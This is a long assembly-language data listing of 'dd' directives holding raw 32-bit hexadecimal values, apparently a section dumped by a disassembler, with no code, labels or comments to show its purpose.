		dd 0FC616AA4h, 37414F61h, 0E0D3026Dh, 608B4246h, 9EF21908h
		dd 478D3A9h, 0E6BEDB1Fh, 4F485706h, 0CB051190h,	0D0007A4Dh
		dd 346CE49h, 6436C9B7h,	43B3E82Dh, 0E370C72Eh, 40C80ED2h
		dd 301F32F8h, 4353969h,	4CBE56h, 826821C9h, 103CF0D4h
		dd 2ABCB71h, 8B464048h,	0E594904Ah, 0F47ACCA8h,	731D97A8h
		dd 98B978F0h, 20598509h, 3B9D7D75h, 8901D74Fh, 3A7FE134h
		dd 926BE4D9h, 81B65A3Bh, 3CCF0147h, 388B5BF1h, 0F7065CF7h
		dd 0E7EC78DBh, 1F6E0700h, 5522053Ch, 37BA18AEh,	93899ADh
		dd 64662F0Eh, 7FEF2035h, 6E17E16h, 0DE8F0753h, 3B0028F2h
		dd 0D9031D58h, 2235E5h,	0B8578C90h, 8DBCE83Fh, 2D92461Eh
		dd 39504Fh, 0EC81D6FDh,	3436509Fh, 6FF80025h, 0B4050BB0h
		dd 0BC37A599h, 4290E982h, 608F0325h, 0A9D071DAh, 0B9F89F93h
		dd 90801200h, 92E6179h,	728101EAh, 8ABD6B41h, 79B03A6Fh
		dd 183C01CEh, 339BC012h, 5CC84803h, 0CD109762h,	51B600F3h
		dd 34009446h, 8C0C1FF4h, 0FF7158h, 6A6C325Dh, 0C629E676h
		dd 5B7C001h, 0DD41AA0Bh, 21C90898h, 0C6000201h,	81754F5Ch
		dd 6368EDh, 6914E4DBh, 8B623D10h, 0ECBA2E18h, 61DCF89Eh
		dd 0D386381Fh, 0EA60D4C9h, 3309FB03h, 0A30A2BF1h, 21211D6Dh
		dd 0BA1040C1h, 9EFF6F8Eh, 0C285D800h, 8749661Eh, 751C0673h
		dd 30713903h, 0C7000AF0h, 0C19490F9h, 3AEF1910h, 3B3012E9h
		dd 0F9FF3121h, 90C4180Ch, 20C13Fh, 482DB853h, 6D7EBA51h
		dd 0B0D8377Dh, 29898621h, 1F5CC56Fh, 0EBBD68E4h, 886E5C48h
		dd 0AFEAFC2Ch, 90D5A70Ch, 3FD110h, 9DBE803h, 68DFB069h
		dd 7C00207Ch, 8C3BF8C1h, 254B656h, 0CAC980FCh, 38850686h
		dd 0BCFE80EAh, 98C0393Ah, 20D49099h, 5107168h, 0D8BB7687h
		dd 0F7B80217h, 3A566144h, 40DC460Eh, 2AA7AEDFh,	0F3160751h
		dd 70680FC8h, 0FF27CEA5h, 0D4DFF503h, 0F0EF5874h, 3E0F3883h
		dd 8D80A3DAh, 0B40E12BCh, 0AA00ACE5h, 2E417EC7h, 98895Ch
		dd 73E43399h, 2D7059ABh, 80550D39h, 520ABBC8h, 601E187Fh
		dd 0CF4A7211h, 62012695h, 0A4BF75A6h, 0FAECAD28h, 0DA3C07C5h
		dd 303BC721h, 7C560BB5h, 5F89E90Eh, 94AC87CAh, 1C2080E0h
		dd 55360288h, 0C1498CBBh, 5D641CE0h, 560002FAh,	0B876F2ABh
		dd 0B09706h, 0EAC94148h, 0AF1CE919h, 3945A07h, 0A2C19D09h
		dd 0EEF01F52h, 0D3540064h, 0F6CFEA65h, 2901949Ah, 328DDEC3h
		dd 53E099C6h, 6F700E6h,	0E916F09Dh, 8C6BFB4h, 0FA20C3D6h
		dd 50F73EBEh, 683C84BEh, 0F9305D80h, 21F82E1Bh,	33D2350Eh
		dd 0E5058E5h, 22BD1838h, 5CF411EAh, 68A60200h, 6775DF27h
		dd 0C008C60Fh, 2D002039h, 7C340317h, 796BBBE8h,	3BA37856h
		dd 0AB866D65h, 0C0FC9454h, 6655CE1Dh, 0B52458F1h, 81C26180h
		dd 2A0D4E08h, 0BFA31003h, 0C8F54027h, 7260930h,	4DE8EA71h
		dd 0BCB9D056h, 0B600B7F6h, 0E00460C1h, 1F9872ADh, 0C0ABFF35h
		dd 64B1CF54h, 0C20050D6h, 675F234Eh, 7D76BA0Dh,	5BB002Ah
		dd 0B4966BE7h, 17005ACCh, 60F68FFBh, 1DEDDEh, 0B1EAC714h
		dd 4522422Eh, 8BD8DC00h, 83059791h, 198F12BEh, 80E61E77h
		dd 0DA4C41EEh, 47006709h, 90553227h, 0E354A3h, 0CD89D9ABh
		dd 4A99E636h, 4D0C7400h, 7034F5CFh, 75D43E47h, 61ED3D00h
		dd 0C6E4AC1Bh, 1C95383Ah, 0A74188FDh, 1469210h,	0FB58C8h
		dd 31E86D45h, 593A0DADh, 47E31100h, 65CD5444h, 112F65A6h
		dd 3E047F28h, 1034B0FEh, 9885CB8Ch, 0E25707BBh,	0A1457F0Dh
		dd 0F0222B12h, 61E5DFEh, 3C8C74E6h, 84F62988h, 22788322h
		dd 0AA220539h, 117A4282h, 552150BDh, 90189108h,	0D1568E2Eh
		dd 223C1128h, 32450E4Ch, 93229481h, 0D4B9E7FBh,	9600CCC1h
		dd 57A4727Bh, 83AFC3h, 73400BDEh, 0F62646DFh, 3B005AF8h
		dd 1CFC1A82h, 784E8Dh, 518A737Eh, 0AEC5EA1Fh, 1022D112h
		dd 7F0E6B00h, 0E3B5AAh,	138157EEh, 14E8097h, 0A0C64005h
		dd 0DA00AD79h, 0A69F8FE4h, 9DC0052h, 13D7D9B0h,	0DE1E8C50h
		dd 0FF078657h, 59E03506h, 0B1DBD3h, 0BE772FA5h,	9A8AE07Bh
		dd 5C06F100h, 0DE520986h, 0D9AD1F03h, 0A60A493Ch, 38E96B00h
		dd 47903655h, 0D1576D02h, 0A011D54Eh, 0DD930BE4h, 68EB60D0h
		dd 3DC7F390h, 96EE0100h, 3C70A58Ah, 7F6F435h, 4D5D713h
		dd 0FDDF509Dh, 80165896h, 350109A1h, 7C8B7E19h,	7E4CDAF4h
		dd 52A6A04Dh, 6358C0C4h
		dd 0F9F609DDh, 9636F800h, 0AB11324Dh, 0C069132Fh, 89B50FFDh
		dd 5B567140h, 0F903D59Eh, 0B2A816DFh, 0C99FD8CCh, 0B8C000E5h
		dd 31D8F8C5h, 0CF0C5020h, 0C8438154h, 7A60067h,	9156C9E6h
		dd 0D4004A89h, 0BE2E940Ah, 3BCC571h, 1B01B242h,	0D5C066E6h
		dd 5FB8E108h, 0DD1F48E0h, 0BC80723Dh, 20C8E3Fh,	7F97C2Ch
		dd 317F378Bh, 0AE5AA01Dh, 0A600E9D9h, 16FD7287h, 1EFA1B32h
		dd 0FAAA04DCh, 66FED700h, 6F21B57Bh, 18398C00h,	7F3C2F44h
		dd 0EBEE65h, 1193C754h,	467C3DB1h, 0FE6C0300h, 53A1BFFFh
		dd 0AC3003Eh, 5D259C05h, 1003F71h, 0EA7BBA3Bh, 0FE8B2288h
		dd 0D5F80776h, 1C50551h, 0E001DACDh, 850079B4h,	0BD111C2Dh
		dd 23FC72Ah, 66500C65h,	0D440378Eh, 8B1C6D2Fh, 0FA56CD0Fh
		dd 932B4400h, 0BC2567h,	0E1099891h, 0B6B3D979h,	4CF4E900h
		dd 0ACA7697Dh, 810D3DE0h, 0F5509C83h, 62C8B289h, 2A3CCC6Dh
		dd 0FE0101C6h, 0C3DA61Dh, 48BED0h, 0B1AB426Fh, 0E8FF91F1h
		dd 6CCB9D24h, 7705AF00h, 0FC4D78A6h, 0CF9300A4h, 16385589h
		dd 74178A71h, 600D749h,	7AAA064h, 3C7602DFh, 0B40D83E1h
		dd 68126840h, 0C6413500h, 914537BFh, 3C8D139Ch,	0C0705E04h
		dd 5F152BA7h, 0F60020C5h, 0E0FCF19Eh, 447384h, 0FECCC606h
		dd 0FD8F39Dh, 47D61300h, 0CE6BF408h, 976C3D2Ch,	12907A80h
		dd 2B45AC3Eh, 0DA60B6E4h, 673C2AC0h, 4B9006Fh, 0CBFBD05Dh
		dd 6D00D28Ah, 0B0EE4DF8h, 355034h, 6683E60Dh, 9FCEE86Eh
		dd 0E3271D0Eh, 0C481478Fh, 49C07300h, 21F402D1h, 0D8444FE0h
		dd 0F64E0760h, 79E5BA00h, 233D77C1h, 17DA04F4h,	0E88A0DF9h
		dd 0E5CC009Eh, 21C6D338h, 0DDE080h, 51A54B62h, 2C7C25FCh
		dd 49078890h, 0D3D09834h, 0C8080610h, 78A200B2h, 0FECF3D5Ah
		dd 777DA622h, 701B1700h, 0C8245C2Bh, 5C88ECB7h,	4D17763Ch
		dd 57720065h, 0DE329160h, 0D7AB9FEh, 6C6A7200h,	215B23D6h
		dd 6D0007Eh, 0A00E5232h, 0E8751FFDh, 0CE608AFCh, 86E39ED2h
		dd 0EE2000D1h, 44A336DFh, 691EF004h, 0A47D5DD6h, 7E07B4C6h
		dd 6FC0E934h, 629239h, 548578D5h, 1229DFB1h, 0EF419C00h
		dd 0D8F48C9Ah, 0F0D0EDD2h, 576E4CC6h, 3DF24901h, 7A8DC251h
		dd 0A6D564C0h, 0F75600CEh, 6D10C091h, 68004081h, 24798C7Fh
		dd 0F2D438D2h, 485D00CCh, 91B05EA2h, 1018B9ADh,	6331ABA9h
		dd 288A001Ah, 0F0933A0Ah, 5D907CA1h, 65869A00h,	0E999159Dh
		dd 178800D4h, 60142DE5h, 0DA38258Bh, 0AF680F0h,	0E8F965BEh
		dd 7DC307FAh, 0F0BA7722h, 7F234AB7h, 0E3AD9600h, 683894AAh
		dd 52DB0059h, 0EAB9A093h, 0C307FB27h, 769FA80Eh, 63F02900h
		dd 527800C6h, 1E832048h, 94F04D67h, 0FF9B3Ch, 63E95C70h
		dd 3A2C58CFh, 0D4803C2Bh, 9B5E7F0Fh, 83FE9C6Ch,	31B6EB03h
		dd 0E83B0E79h, 38EC4B2h, 7113F0A5h, 8BB07EBEh, 0A03A718h
		dd 0D9D9F2Dh, 608E9F32h, 0A23FD949h, 0C54F00FFh, 0AB9B6E6Ch
		dd 5902B2FBh, 0BCE8020Eh, 4B404048h, 0B9A12CC4h, 0CC33007Ch
		dd 2B77D4A2h, 0F8944207h, 35B0D8EFh, 296593Bh, 607DFECDh
		dd 0A241A7EAh, 0E22CC44Fh, 7F86BA00h, 0B7ED0697h, 0F2DD3DD7h
		dd 0C53024B0h, 2E00FA68h, 7FB4B3B2h, 38A43967h,	970044F9h
		dd 838BD4E7h, 23EE7E91h, 0D5114100h, 885D846h, 635A3C43h
		dd 0AC588617h, 0A7360E85h, 9C0603CAh, 69C00045h, 726F7994h
		dd 0A101E533h, 970116E8h, 0C8409DFAh, 0D70741h,	17FBB7A6h
		dd 68433C0Bh, 28579713h, 6D713000h, 207C204h, 93B1C177h
		dd 0A043B27Eh, 65CB91D0h, 3334BC49h, 0B81530F1h, 40C92Eh
		dd 22CBBE06h, 787C0A9Eh, 5F7D4A00h, 0A36AEACEh,	139F13A0h
		dd 0EB5401F0h, 0C8094529h, 9D3CFF18h, 6A78007Eh, 68AA6419h
		dd 0CB070024h, 0A1E12FDh, 7600872Ch, 0F4BF35B3h, 257E6D7h
		dd 0AA559927h, 24E3F34Bh, 865852D0h, 7C5D1304h,	0F0C02FDAh
		dd 0C3E7D6h, 8C907F4Dh,	0FF46C705h, 0DB005E73h,	747319BEh
		dd 252001h, 0ABFE0F8Dh,	0E1F7BC8Eh, 7BDBB500h, 0AA5176ECh
		dd 0B21D00E7h, 930E08D0h, 0E100E42Eh, 4170E8C8h, 0E0F8A2h
		dd 0D7B4EDF3h, 0EA5136F2h, 0AA9CDC01h, 499F617h, 9F40BAC1h
		dd 0B845AF7Fh, 1A500060h, 7A605E06h, 1500FDCDh,	96672D20h
		dd 885B18h, 37037784h, 326BAF0Ch, 636A3100h, 17356687h
		dd 0D1E2C8h, 675A24B6h,	967A746Eh, 74E4F95Ch, 2D1FDC26h
		dd 71C1023Fh, 60AFBE52h, 3D588254h, 0E080DE35h,	62D5F05Bh
		dd 5700AACBh, 8FAE1888h, 1EC5F655h, 0C09960D8h,	3EF29C53h
		dd 20B9119h, 0A7AE63h, 0C3C87264h, 9731004Eh, 0D2BFCC2Eh
		dd 5F25183Bh, 0C9180047h, 0E8BC564h, 0B9010C39h, 1ADD32E0h
		dd 0E298F73Bh, 0E90AE60h, 78EBDFFBh, 0A19D01D8h, 2C822D54h
		dd 3840CE03h, 35005581h, 0C357B2F9h, 1A1EC0h, 9854AB72h
		dd 0B056C14h, 0B700097Ch, 444785E7h, 0FA4A4Ch, 0EE69AD02h
		dd 0D23C9ACFh, 0E582A5Ch, 0A35D7549h, 0E2393AF8h, 0B9096121h
		dd 5B2EC0h, 0A355EC67h,	69D1B653h, 1C4E5C0Fh, 1DF89CAh
		dd 0CD57AF30h, 0EE120C73h, 0D25000F2h, 573C8D9h, 0AE7ABE00h
		dd 31A48EAh, 4CFC00B7h,	8E4959Eh, 7E030676h, 0BF202530h
		dd 0C3A0CFD7h, 0F68734h, 5741DE5Ah, 3875A422h, 5C2F1803h
		dd 0E047A74Ah, 18CEC8DDh, 0CEA67406h, 8900C066h, 24672AE4h
		dd 681B2Eh, 7B9B8122h, 93A05FEEh, 6FC21F01h, 0D1A9FF14h
		dd 7718A8CBh, 0E12D023Bh, 2EDF4D8Dh, 50E038E1h,	0D638C568h
		dd 66221300h, 0ED01794Ah, 8F7AFAh, 11E5EE04h, 97B43C27h
		dd 911BCF12h, 44760400h, 39C72362h, 478106ACh, 0F3082A1Eh
		dd 7714701Ah, 80EE5B3Ch, 9EA56E15h, 29876B9h, 0B0D3CCFFh
		dd 486163F4h, 0D0CEFC4Dh, 8FCED00h, 6F060C10h, 5CB95C32h
		dd 3F259E0Fh, 0FFB58FC3h, 0F32C61E8h, 14A5F001h, 136ABB8h
		dd 0A802082Ch, 1BF9C7E9h, 6A534C68h, 0C027751Dh, 0C602CBDEh
		dd 0C4D5A7C4h, 1E687100h, 80F793E5h, 0B2CB10C9h, 0ECB8923Dh
		dd 0A0DE0200h, 5B43C03Ch, 0E024920Bh, 707600AFh, 8D3F476Eh
		dd 9400F3E1h, 3844F49Fh, 178A436Dh, 40E23926h, 0FBCDCBE8h
		dd 5100C248h, 0F82CF622h, 18CAD9h, 0A0AE367Ch, 0E4D2A176h
		dd 0F02FF00h, 60634CDCh, 0ABC0C004h, 0BD3ABE0Eh, 82C5FD00h
		dd 984E444Dh, 8161C7Ah,	269F31h, 0B43BD054h, 0D20745A4h
		dd 55D7F913h, 0B175A8A0h, 0C0D0074h, 20CD2C6Dh,	4A002F61h
		dd 0C0EA6BFCh, 1FFD01D6h, 16DC1CCh, 2A60C3EDh, 2912C05Eh
		dd 31B380h, 9251F45Fh, 9EC8B2BFh, 0A87E2CE4h, 7E5D4D00h
		dd 0AE950DA6h, 80DC00F1h, 6C34018Bh, 0F909A598h, 60D7E35Dh
		dd 31375FCh, 94097936h,	3A9189C5h, 0C1BC2941h, 760F614Fh
		dd 91E2ADCh, 66498EE1h,	2BE248C0h, 16FFA3Eh, 8A2F1AC7h
		dd 85FB2C37h, 0E1A2B481h, 998FC4h, 12FE721Fh, 14B3C542h
		dd 0A9885900h, 66545F69h, 0EBBD00C2h, 2AF5B817h, 0FC98DE0Fh
		dd 0EA00E0B0h, 0A6A426D7h, 247967D9h, 92C40B3h,	0B0C0DE54h
		dd 0E90B41BEh, 80A18439h, 0A4BFF513h, 0C75A0568h, 0EB8B88F3h
		dd 4F8E5805h, 3359DC80h, 0E5BD25ABh, 0F20BF080h, 0D12697B8h
		dd 7A05D4ADh, 702053C9h, 2463ACE7h, 3800F02Dh, 0A02CC084h
		dd 60A4C0C6h, 160085E3h, 294246C9h, 48A43F84h, 0F73F3265h
		dd 0D5BC2600h, 8861671Dh, 504EE102h, 0C3129DF2h, 0B611001Ah
		dd 0A0FFADF7h, 460E414Dh
		dd 2060D597h, 5ECA5243h, 0BC180CA9h, 0AC202839h, 6B33BB03h
		dd 0A82DB516h, 7D3CDE22h, 637E00E3h, 891581B6h,	0FEFC4213h
		dd 0DF0B850Ch, 0A06846h, 0B8DE4A77h, 8020ADCAh,	0A36E1200h
		dd 0C655A47h, 233C197Ah, 0C1F280C2h, 45F8015Bh,	307C3BECh
		dd 5448DFD0h, 6B58E171h, 5F921F49h, 0A947A80h, 0F08C75h
		dd 620E96F4h, 7930E86Ch, 3C665700h, 0AD61B363h,	726E45Eh
		dd 45540D84h, 0A7CB801Eh, 9A00CC65h, 1AE56E10h,	0A91714h
		dd 0BE36AFB6h, 582FBE4h, 69A38800h, 14A1CAE5h, 2B680B9Ch
		dd 507071ABh, 0D871100h, 0FFBC27BDh, 9F3D0307h,	3CD98570h
		dd 0C494FC90h, 76A7CE30h, 4ED2C1h, 0ED0614Bh, 38AEE56Ah
		dd 0DCCB9E00h, 15BAC4D3h, 46C2005Fh, 3F684BD6h,	2D000D69h
		dd 0B15245B0h, 986C0F9Bh, 0EB3B0738h, 318F7481h, 0C4FCC753h
		dd 4B01E424h, 60513AA6h, 0F2DCF748h, 0F9B8F9h, 0BCB87268h
		dd 4FE31EEBh, 6408B0A0h, 0A143C700h, 370B6B04h,	4A3F00B6h
		dd 32D65E59h, 0DD0018B0h, 45A5367Ah, 1D575BEEh,	40B64A1Eh
		dd 8E88F16Ah, 6600C553h, 8A1C7F48h, 20E229h, 6D71550h
		dd 0F45DB578h, 67234700h, 18AC841Bh, 1D122899h,	266A00E0h
		dd 8B22F66Eh, 2C004391h, 665B0CE4h, 1414274Fh, 0ACCC94B2h
		dd 4921B000h, 0DF4B86B5h, 0DBAA0600h, 0FE453E1Fh, 0F4D50763h
		dd 0E3C16E37h, 0F8B04038h, 0CC4825A2h, 2DA51E28h, 0AB76A0h
		dd 9314CD39h, 3183EC4Ch, 5ED1BF0Ah, 0AD1DE847h,	1902F800h
		dd 6324389h, 0FB6BF987h, 0DF00100Fh, 4BD58611h,	19990CBh
		dd 6524A9B2h, 30CC03E3h, 0E83E9F99h, 8CF10069h,	676C0D3Ah
		dd 7D563D63h, 40ECBF00h, 1A21D0FEh, 0E906DD00h,	0EE929D0Dh
		dd 33490F12h, 0E800A7EFh, 0CF020594h, 1ECE5D00h, 0B3AE2921h
		dd 6F9E1718h, 0B8B6075Fh, 0EF11D26Dh, 80249448h, 0BE66F300h
		dd 0E31F8820h, 0CE2A00C2h, 55024A76h, 9900148Ch, 9A29DA1Eh
		dd 0F8B02FA3h, 179B01AEh, 1A0356CDh, 44446026h,	0DEC86B05h
		dd 0E402C60Ah, 30E2BBF1h, 0F000693h, 0FEF239A2h, 240255EEh
		dd 2CA0CE44h, 738039D7h, 0E0068D92h, 8C01C2F3h,	0D450FDBBh
		dd 0F0CC4A32h, 4F9A0061h, 379C5A83h, 3F00B229h,	207DE3EAh
		dd 744D05Eh, 0EBCCA2BCh, 9D5230DCh, 66001B0Dh, 3B2D22CBh
		dd 7223175Bh, 5D501C3h,	0AFB12DEh, 260EECD4h, 1073AA00h
		dd 9D47D360h, 0A6680005h, 5892856Fh, 3800C1A1h,	0ADEC3E0Ch
		dd 3EB54595h, 0E580F299h, 1B66F66Ch, 0BE0F32AFh, 40608B5Bh
		dd 368C975h, 91413FB4h,	0C42CA380h, 3CA9370Fh, 0B757A100h
		dd 3EE6FE55h, 0EC5C00B6h, 0EDBE74C2h, 5300DCD8h, 1C9D2FA0h
		dd 0CF93DEh, 0FA800281h, 0BC7FCA9Bh, 642D420Fh,	0B84013D6h
		dd 4DBAC2E1h, 0D04039BDh, 0B03821E0h, 0D600E4C3h, 432B5E15h
		dd 0ACCB9Ah, 376211EEh,	91A8A07h, 0EF796600h, 0A7EA1298h
		dd 665725Dh, 0CC20A597h, 9A006047h, 0F16F4C4h, 186E2E4Ch
		dd 188FC081h, 0F63A4DD6h, 27EE0A5Fh, 9D3A18CEh,	0A03016E6h
		dd 30674691h, 0A208A896h, 50008133h, 2A716A4Ch,	0F25134h
		dd 8862CD8h, 871385AFh,	0BA4FB300h, 5FFF1C6Bh, 50090571h
		dd 80D673C2h, 3D0C1A13h, 67AEAF07h, 3C4A17D1h, 20A3A003h
		dd 0F83AE0B5h, 0C7873EF6h, 8ECEA187h, 0A0995712h, 9E9C230Eh
		dd 22205D0Bh, 0A4B408D1h, 3D021B81h, 0B0BCBE91h, 209C0861h
		dd 363040CDh, 9307F0FAh, 0BE443F40h, 0C0BCF3A2h, 0B8A1AD72h
		dd 63CB00D2h, 2C5C539Ah, 0F607029Bh, 58D64FEAh,	0E40B803Eh
		dd 0B8A62Bh, 8B6DF3FBh,	0D2A43054h, 76E31A39h, 215F2702h
		dd 60FB687Fh, 6D5D0Ch, 0FA9D2E73h, 0FDEA01CCh, 0F3C3F900h
		dd 0C6BA0E58h, 20170033h, 6C82A0AAh, 110047C7h,	0E1528157h
		dd 969B7h, 0FA72831h, 0FD1D6E4Dh, 0A554920Fh, 3EC0FE50h
		dd 0BC3189A0h, 0DE84004Ch, 1D430839h, 0F3BE148h, 157153Bh
		dd 159A0090h, 7C741F90h, 88E90CACh, 4318490Bh, 2D665E00h
		dd 4CA26A2Ah, 96461807h, 0AD973998h, 9C295163h,	5E8358h
		dd 6386B851h, 1DFE35B5h, 4B3B13B8h, 50768044h, 0D1B10DF0h
		dd 0F7FD60h, 7040C340h,	5A9DDA27h, 868D3D00h, 711DD2BCh
		dd 1F826h, 8E4F4014h, 0E3EE9C19h, 0B3D0B805h, 8B031D76h
		dd 0C0D15923h, 911C58h,	0CF196B5Eh, 9C44641Bh, 868EA800h
		dd 3E237BCBh, 62DA00D0h, 78F50C3Fh, 0BF00761Ch,	0EE7DE919h
		dd 1A165DCh, 0C528B179h, 70CE6CBAh, 410627D9h, 650DB9F7h
		dd 46A312E1h, 78D42092h, 6A7016ACh, 0A4214560h,	141ABD6h
		dd 79A24C8Dh, 2424E8AEh, 0C00B39Ch, 5FE25442h, 6C9D0A5h
		dd 0C897DDA4h, 96F06807h, 0F6465D00h, 0E79B312Eh, 78C7001Ah
		dd 6B8D833Ah, 0C3000C7Fh, 0E36325BFh, 7A86FBh, 0E5275F80h
		dd 0AE6A682Ch, 7FD1CB00h, 0D9C601E6h, 0AA1B0063h, 7BF3B39h
		dd 0B6003FC2h, 49772910h, 457C3BCh, 4339F9E2h, 0B918800Ch
		dd 0D900D0F8h, 825C31F0h, 0F2FB1F6Ah, 24BA0043h, 219F1D87h
		dd 67005D28h, 0A769AF1Ah, 313ADFCh, 0B964BD05h,	0DDD0AAE3h
		dd 0CE1EDA08h, 9300F056h, 4BF590D5h, 0FE6D1D3Fh, 16C40B3h
		dd 0E998E323h, 35C54E09h, 0F885807Bh, 3FDDC3D3h, 5805E53Eh
		dd 809060E7h, 5FC21854h, 0B9FBE200h, 3E204F7Ch,	10950031h
		dd 21521F81h, 0F901A082h, 0CE13D7Bh, 6E4C1E5h, 39710F49h
		dd 5C8009A2h, 132D0EA5h, 231BD300h, 32EE81C7h, 0AAC30012h
		dd 56EC0C63h, 8800145Ch, 541EDDD6h, 613AEF15h, 0A1C0955h
		dd 0CD1080F9h, 2B7744CCh, 0A35D000Ch, 529EE87h,	48015C7Dh
		dd 0AB80731Ch, 0F61B851h, 84592990h, 27447EE2h,	522D4481h
		dd 28423548h, 211B2469h, 0B1114BACh, 7BD411A7h,	54114F12h
		dd 22848D08h, 0E3507511h, 60441B50h, 0C614A089h, 8D78976h
		dd 0E561446Fh, 89167F84h, 0F03C410Bh, 10E11253h, 0FF898C36h
		dd 68445D08h, 0C56E89BDh, 573DE8FDh, 0A11F9177h, 3680F91Fh
		dd 98323F08h, 1A7E0Ah, 0F183D4EEh, 0EF24F6E0h, 4FD3B500h
		dd 19A5EAFAh, 818E001Ah, 351F0D7Fh, 1800F99Fh, 0C60CE3B5h
		dd 0F00F3E50h, 0ECAD00BBh, 54B9A2B1h, 3600E28Dh, 6EFEAAC5h
		dd 1C391Ah, 25408BB2h, 0ADB071A0h, 7BC82000h, 1A8C0B02h
		dd 0A1741E32h, 853C408Dh, 82CB2D0Ch, 9FAF9538h,	0EEEE649Bh
		dd 0FAC5E802h, 0D8204B4Ch, 7BB3BAh, 0E051B80Eh,	2D6E27B2h
		dd 8311C803h, 0F88CAEE5h, 704D4030h, 509363F9h,	0A7D08253h
		dd 0DC0480D6h, 41F336C5h, 9F29B800h, 0B92C085Bh, 66006E86h
		dd 19F6C981h, 489B00BBh, 0FF493E97h, 877B8D65h,	79ED7800h
		dd 16CED821h, 0D1640291h, 976EAE52h, 0C86C6CC0h, 0A0244300h
		dd 634626ABh, 51613865h, 49C0F781h, 0FCB20FA2h,	0C7005276h
		dd 35F0DF0Ah, 870143h, 886DAC8Fh, 3B77C153h, 93D47A07h
		dd 8980E447h, 1A270DDh,	2D396273h, 0E076686Dh, 0FB84605h
		dd 71031E00h, 94C19FFFh, 893E005Dh, 54664B56h, 0FE79B52Ch
		dd 19760C01h, 6940BC20h, 0CD1BC8h, 3932A9CAh, 0C716904Ch
		dd 59AF660Bh, 0F8F68054h, 0D8D14Dh, 4A0A1A26h, 1E947BA1h
		dd 0A4D00630h, 196EEDCh, 9190E4B1h, 0C80B1AB3h,	6905F71Eh
		dd 93C54C79h, 0FF304E87h, 9C79E34h, 2255B0B4h, 0D7030480h
		dd 0F50301C2h, 185BFDF6h, 0F143A8A3h, 0AB2E069Fh, 6053B4A8h
		dd 7F209D00h, 0D5CE55FDh, 0BB8F0026h, 0E4236ECFh, 1D3B9831h
		dd 3D480D1h, 81AF9B86h
		dd 0C65F3E74h, 0B680B93Fh, 2FB185ADh, 5400D428h, 14A31955h
		dd 3A794B66h, 0E4A4586Ah, 35ED0350h, 3B0D67Ch, 0FB584C0Eh
		dd 0AA0B00FFh, 63368E17h, 7CFA0029h, 0F93045E9h, 0C0FBB238h
		dd 0FC000FC5h, 0D3F4C772h, 7527F5F8h, 7BF60B18h, 8180102Bh
		dd 0F409FEBDh, 0BE066490h, 0A1BC7627h, 2E460028h, 0CC9A3B60h
		dd 1300ED20h, 845CA0D8h, 0F42D63h, 0D72E4A86h, 28DC6164h
		dd 96508F00h, 0BB71AC05h, 87B90068h, 35D2D4E0h,	0CB00A02Dh
		dd 0BCC9C5DDh, 0EE74D7Ch, 0F45B8F7Ah, 0EF0A6A80h, 4200ED49h
		dd 38F74AF1h, 66059Bh, 769D7DDBh, 0FFB74B3h, 6F7E3901h
		dd 970EC798h, 5A8066B8h, 476BE5B7h, 6212E3FEh, 670513F9h
		dd 17C5E433h, 8541A81Eh, 0EC19BB2Bh, 0EE561C0h,	0C48363DCh
		dd 6C7C6B20h, 1F753AB6h, 41291200h, 0EF521BC1h,	2A1003B7h
		dd 0DE6CB3D9h, 8667FA80h, 0B4D74500h, 5A394BB9h, 0A5901451h
		dd 80C08029h, 0D4D16A89h, 99F9E903h, 984855CCh,	91326Fh
		dd 0FC335AA9h, 0CBCA2F8Dh, 3E00677Ch, 0CEBE0B2Dh, 0F8DE5112h
		dd 0F6ACA0C2h, 0D8E08Fh, 32A417C4h, 0FD106B1Bh,	0FA2477B0h
		dd 380096A7h, 26546857h, 0C0610509h, 66BFAEh, 94CA06F3h
		dd 4E0772AFh, 9AB61D84h, 0A0FAB8E0h, 0D8FF0075h, 356AD9E7h
		dd 1000F2BEh, 0BFAD60D0h, 0AB63CDh, 1D65AC16h, 0B1ED2386h
		dd 6C8ABA00h, 9CC8607Ah, 8E722Eh, 0FAB6F963h, 0F9474BBh
		dd 0D99B5100h, 8C551A2Fh, 752B00A7h, 73C2B5F4h,	3006C06h
		dd 12CC9DDEh, 4853BBD6h, 2C003C63h, 68BABC08h, 0E3587826h
		dd 0B69F1339h, 0E589C18h, 0A43700CCh, 847185F7h, 5102DBF9h
		dd 5986AA3Fh, 0A314E029h, 9D330044h, 24C1086Dh,	0BC0326B5h
		dd 0A9525431h, 0F887D0F0h, 1EF442h, 0BFCFED2Ch,	13ABD83Fh
		dd 0AD6BA801h, 0F21FC701h, 94A7A840h, 12C30077h, 225EB9E3h
		dd 5D1C7918h, 0BCC073FCh, 90C43965h, 0FF1100C6h, 0B9A09D96h
		dd 0F9F41949h, 1CE60100h, 92EC34B3h, 235A17B1h,	65F103EBh
		dd 0B0F803EDh, 1A036DCEh, 0D1151CCFh, 4328014Fh, 5D56C7DFh
		dd 0A68C40EEh, 38018403h, 0B49C4C04h, 35FC9496h, 5DFB0F6Dh
		dd 4FE05739h, 62A1C658h, 0D4261E7Bh, 7400A48Ch,	0E22749BAh
		dd 317FADAh, 8FA7D909h,	21EA425Ch, 55727460h, 3CA4F4EFh
		dd 0D40098FAh, 0CF9A4AC0h, 0F041E817h, 4045000Eh, 3C5D4891h
		dd 0F005737h, 0DBFB95C2h, 1F08EFh, 6A947E30h, 2BBFB3B6h
		dd 0A403071Ch, 806335CEh, 0B7A8CA1Ch, 0F6B901D3h, 6D25D7E3h
		dd 0C9ADF467h, 1158D0A0h, 534E680Eh, 217A20EEh,	3B1B31h
		dd 0AEAB2FE7h, 0E2EDAA5Dh, 1E0F87Fh, 0AC3ABB00h, 3011B41Bh
		dd 6C9700FEh, 68F8AF54h, 8E00D192h, 6EDB2B80h, 413A46h
		dd 0E2AD0E99h, 577F6C9Ah, 8000247Dh, 23640B5Bh,	74544939h
		dd 0BFDF00B3h, 0A48CB520h, 5F501B5Dh, 0BC03D8C0h, 0E80C7E86h
		dd 0DF47D09Bh, 0B0430042h, 0C950F992h, 3800548Fh, 177D69B6h
		dd 7D32FE1h, 763B46DAh,	0D863A004h, 0D9FC59D0h,	0B091733Bh
		dd 0C81DF8C7h, 8648123Dh, 2CF400C3h, 2A4CEE6Bh,	0D900137Dh
		dd 3CDDF369h, 0E5E9E6h,	6AC16241h, 8B0858BEh, 878FEF00h
		dd 2C869CF0h, 253A00AAh, 2D27954Dh, 5898FBD1h, 0EB008871h
		dd 37E79EE1h, 4C3AC0h, 2BA697ACh, 476EB9F2h, 0B5624B00h
		dd 8BB842BDh, 50AC030Fh, 61920C86h, 9EEFE1D0h, 2637D424h
